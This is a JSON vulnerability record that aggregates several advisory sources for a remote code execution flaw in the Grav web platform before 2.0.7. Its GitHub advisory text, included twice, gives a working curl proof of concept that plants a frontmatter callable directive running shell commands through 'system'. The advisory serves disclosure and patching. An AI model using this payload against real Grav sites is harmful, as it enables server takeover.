{"id":"CVE-2026-64850","aliases":["EUVD-2026-62549","GHSA-fj2p-qj2f-74v5"],"status":"published","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","description":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00467,"percentile":0.40786,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-07-21T11:39:57.075Z","modified":"2026-10-28T02:31:13Z","fixes":[{"ecosystem":"Packagist","package":"getgrav/grav","fixed_in":["2.0.7"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"getgrav/grav","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.7"}]}]},{"source":"osv","ecosystem":"Packagist","package":"getgrav/grav","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.7"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6"],"bundled":2}],"products":[{"vendor":"getgrav","product":"grav"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/getgrav/grav/releases/tag/2.0.7","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/64xxx/CVE-2026-64850.json","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/65xxx/CVE-2026-65008.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65008","tags":["advisory"]},{"url":"https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-blueprint-dynamicdata","tags":["advisory"]},{"url":"https://github.com/getgrav/grav","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-64850","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","description":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","status":"published","published":"2026-08-19T15:58:02.85Z","modified":"2026-08-19T17:51:53.967Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:19:58.214427Z"}],"euvd":[{"id":"EUVD-2026-62549","description":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","status":"published","published":"2026-08-19T15:58:02Z","modified":"2026-08-19T17:51:53Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:41.405951Z"}],"ghsa":[{"id":"GHSA-fj2p-qj2f-74v5","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","description":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '\u003cBASE_URL\u003e/admin/pages/rcepoc' \\\n      -H 'Cookie: \u003cSESSION_COOKIE\u003e' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=\u003cADMIN_NONCE\u003e' \\\n      --data-urlencode 'data[folder]=rcepoc' \\\n      --data-urlencode 'data[name]=form' \\\n      --data-urlencode 'data[title]=x' \\\n      --data-urlencode 'data[content]=hi' \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - 'Grav\\Common\\Utils::arrayFilterRecursive'\n              - { 'echo GRAV-RCE-OK; id': 'x' }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl '\u003cBASE_URL\u003e/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.","status":"published","published":"2026-09-02T14:51:18Z","modified":"2026-09-02T14:51:19Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"nvd":[{"id":"CVE-2026-64850","description":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","status":"published","published":"2026-08-19T16:18:39.76Z","modified":"2026-09-09T21:13:25.91Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:39.962615Z"}],"osv":[{"id":"CVE-2026-64850","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","description":"Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\\Common\\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.","status":"published","published":"2026-08-19T15:58:02.85Z","modified":"2026-10-28T02:31:09.687978958Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:14.096824Z"},{"id":"CVE-2026-65008","title":"Grav before 2.0.7 Remote Code Execution via Blueprint dynamicData","description":"Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.","status":"published","published":"2026-07-21T11:39:57.075Z","modified":"2026-10-28T02:31:13.895439548Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:14.096824Z"},{"id":"GHSA-fj2p-qj2f-74v5","title":"Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()","description":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '\u003cBASE_URL\u003e/admin/pages/rcepoc' \\\n      -H 'Cookie: \u003cSESSION_COOKIE\u003e' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=\u003cADMIN_NONCE\u003e' \\\n      --data-urlencode 'data[folder]=rcepoc' \\\n      --data-urlencode 'data[name]=form' \\\n      --data-urlencode 'data[title]=x' \\\n      --data-urlencode 'data[content]=hi' \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - 'Grav\\Common\\Utils::arrayFilterRecursive'\n              - { 'echo GRAV-RCE-OK; id': 'x' }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl '\u003cBASE_URL\u003e/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.","status":"published","published":"2026-09-02T14:51:18Z","modified":"2026-09-02T15:00:11.115058944Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}